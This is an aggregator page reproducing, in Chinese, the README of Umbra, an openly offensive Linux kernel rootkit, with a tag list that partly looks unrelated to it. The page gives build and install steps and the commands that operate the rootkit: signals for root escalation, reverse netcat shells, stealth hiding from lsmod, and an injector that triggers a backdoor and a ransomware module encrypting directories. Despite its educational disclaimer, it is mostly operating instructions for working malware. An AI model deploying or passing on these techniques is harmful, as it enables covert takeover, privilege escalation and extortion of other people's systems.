h3xduck/Umbra

GitHub: h3xduck/Umbra

一款针对 Linux 4.x/5.x 内核的实验性 LKM rootkit,提供远程后门、权限提升、文件隐藏及可扩展恶意模块功能,用于安全研究与教学。

Stars: 135 | Forks: 29

![GitHub release (latest by date including pre-releases)](https://img.shields.io/github/v/release/h3xduck/Umbra?include_prereleases) ![Maintainability](https://img.shields.io/static/v1?label=maintainability&message=B&color=green) ![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/h3xduck/Umbra) ![GitHub last commit](https://img.shields.io/github/last-commit/h3xduck/Umbra) # Umbra Umbra 是一个实验性的、可远程控制的 LKM rootkit,适用于内核 4.x 和 5.x(最高至 5.7),它开启了一个网络后门,可以向远程主机生成反向 shell、远程启动恶意软件以及更多功能。 该 rootkit 仍在开发中,尽管下面列出的功能已完全可用。 ![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra4.0_1.gif) 注意:该 rootkit 是在内核 5.4.0 和 Ubuntu 18.04 上开发和测试的。 ## 功能 * :star2: 后门在接收到恶意的 TCP 数据包后,会向远程 IP 生成反向 shell。 * :star2: 使用 *Umbra Injector* 远程控制 rootkit: * 远程反向 shell。 * 远程隐藏/取消隐藏 rootkit。 * 启动 *Umbra Modules*。 * **新增:** 添加了 ***Umbra Modules***,这是一种类似恶意软件的特殊模块,用于增强 Umbra,可以通过 Umbra Injector 远程启动。 * **新增:** Umbra 模块 "***Ransom***",将 Umbra 变成可远程控制的勒索软件。 ![Ransom module in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra4.0_2.gif) * Umbra 在用户命令(如 *ls*)中隐藏其所有文件和目录。 * Umbra 可以通过信号远程和本地隐藏/取消隐藏自身。 * 通过发送信号 50 提升权限。 * 在模块加载时生成 netcat 反向 shell。 * 通过发送信号 51 向远程主机生成 netcat 反向 shell。 更多功能将在后续更新中推出。 ## 免责声明 该 rootkit **仅用于教育目的**。我对因非预期使用造成的任何损害不承担责任。 另外请记住,Umbra 仅包含轻量级的隐藏和保护机制。它**不**打算在实际场景中使用。 **重要提示:** 如果您打算在自己的机器上测试此 rootkit,我*强烈建议*使用虚拟机 (VM)。 **关于 Umbra 模块:** *ransom* 模块使用了一种简单的加密机制,但它可以并且肯定会加密您机器上的任何文件夹。虽然文件可以轻松解密,但我*绝对不建议*在受控环境之外针对您的根文件夹或类似位置运行此操作。 ## 目录 1. [构建与安装](#build-and-install) 2. [卸载 Umbra](#unloading-umbra) 3. [本地控制](#basic-usage-local-control) 4. [Umbra Injector:远程控制](#umbra-injector-remote-control) 5. [Umbra 模块](#umbra-modules) * [(新增) Ransom](#ransom-module) 6. [参考资料](#references) ## 构建与安装 请记住,您应该拥有 4.x 或 5.x 内核。 1. 下载您的内核头文件 ``` apt install linux-headers-$(uname -r) ``` 2. 配置您的 include 路径以涵盖内核头目录(通常位于 /usr/src 下)。如果您使用的是 vscode,可以查看 ```.vscode/c_cpp_properties.json``` 以获取有关包含目录的示例。 3. 克隆项目 ``` git clone https://github.com/h3xduck/Umbra.git cd Umbra ``` 4. 构建 Umbra ``` make ``` 5. 在内核中加载 Umbra 并配置环境 该脚本将在内核中安装 Umbra,并配置一个特殊目录用于存储恶意软件模块。该目录随后将被 rootkit 隐藏。 ``` sudo ./install.sh ``` 如果您之前运行过该脚本,只想在内核中安装 Umbra,可以运行: ``` sudo insmod ./umbra.ko ``` ## 卸载 Umbra 确保 Umbra 不处于隐形模式,否则此操作将失败。 ``` sudo rmmod umbra ``` ## 基本用法:本地控制 ### 将当前用户权限更改为 root * 向任何 PID 发送信号 50。 ``` kill -50 1 ``` ### 启动反向 netcat shell 到 IP:PORT * 在构建 rootkit 之前,在 CONFIG.H 中设置您想要的 IP 和端口。默认为 127.0.0.1:5888 * 在远程主机开始监听。 ``` nc -lvp 5888 ``` * 向任何 PID 发送信号 51。Umbra 会捕获它并启动 shell。 ``` kill -51 1 ``` 注意:Umbra 也会尝试在加载时启动反向 shell。 ### 隐藏 rootkit - 隐形模式 这将防止 rootkit 被诸如 *lsmod* 之类的命令显示,或通过 *rmmod* 被移除。 ``` kill -52 1 ``` ### 取消隐藏 rootkit 如果隐形模式处于活动状态,这将恢复该模式。 ``` kill -53 1 ``` ## Umbra Injector:远程控制 ### 通过后门获取反向 shell Umbra Injector 可以在安装 Umbra 之前运行(从而在它启动后获取 shell),或者在目标系统上安装 Umbra 之后运行。 ``` ./injector -S 127.0.0.1 ``` 后门监听具有以下 payload 的数据包: `UMBRA_PAYLOAD_GET_REVERSE_SHELL`。 您也可以使用我的库 [RawTCP](https://github.com/h3xduck/RawTCP_Lib) 构建您自己的注入器。 ### 远程隐藏 rootkit - 隐形模式 这将防止 rootkit 被诸如 *lsmod* 之类的命令显示,或通过 *rmmod* 被移除。 ``` ./injector -i 127.0.0.1 ``` ### 远程取消隐藏 rootkit 如果隐形模式处于活动状态,这将恢复该模式。 ``` ./injector -u 127.0.0.1 ``` ### 帮助 您可以通过以下方式查看有关如何运行 Umbra Injector 的完整信息: ``` ./injector -h ``` ## Umbra 模块 Umbra 模块将由 *install.sh* 脚本存储在 /tmp/umbra 中,Umbra 将在那里隐藏它们。该目录将无法通过 *ls* 或类似命令看到。 ### Ransom 模块 该模块可以通过 Umbra Injector 发起远程勒索软件攻击。加密后的文件显示为 *.ubr* 扩展名。 目前,加密机制是简单的位级 NOP,作为概念验证。您可以编辑模块以包含您自己的加密算法。 #### 加密目录及其所有子目录 ``` ./injector -p /Your/Path/To/Encrypt -e 127.0.0.1 ``` #### 解密目录及其所有子目录 ``` ./injector -p /Your/Path/To/Decrypt -d 127.0.0.1 ``` ## 参考资料 该 rootkit 的开发涉及大量关于 LKM 和 rootkit 技术的研究。以下是我使用的资源的不完整列表: 如何创建 LKM: * https://sysprog21.github.io/lkmpg/ Linux syscall 参考: * https://syscalls64.paolostivanin.com/ 一些 rootkit 参考: * https://xcellerator.github.io/posts/ * https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt * https://github.com/f0rb1dd3n/Reptile ## 许可证 该项目采用 GPLv2 许可证授权。详见 [LICENSE](https://github.com/h3xduck/Umbra/blob/master/LICENSE)
标签:CSV导出, DNS 反向解析, IP 地址批量处理, Kernel 4.x, Kernel 5.x, LKM, Rootkit, Umbra, Zeek, 内核攻击, 内核模块, 勒索软件, 协议分析, 反向Shell, 后门, 安全资源, 客户端加密, 客户端加密, 应用安全, 恶意软件, 文件隐藏, 权限提升, 网络可见性, 网络安全, 进程隐藏, 远程控制, 隐私保护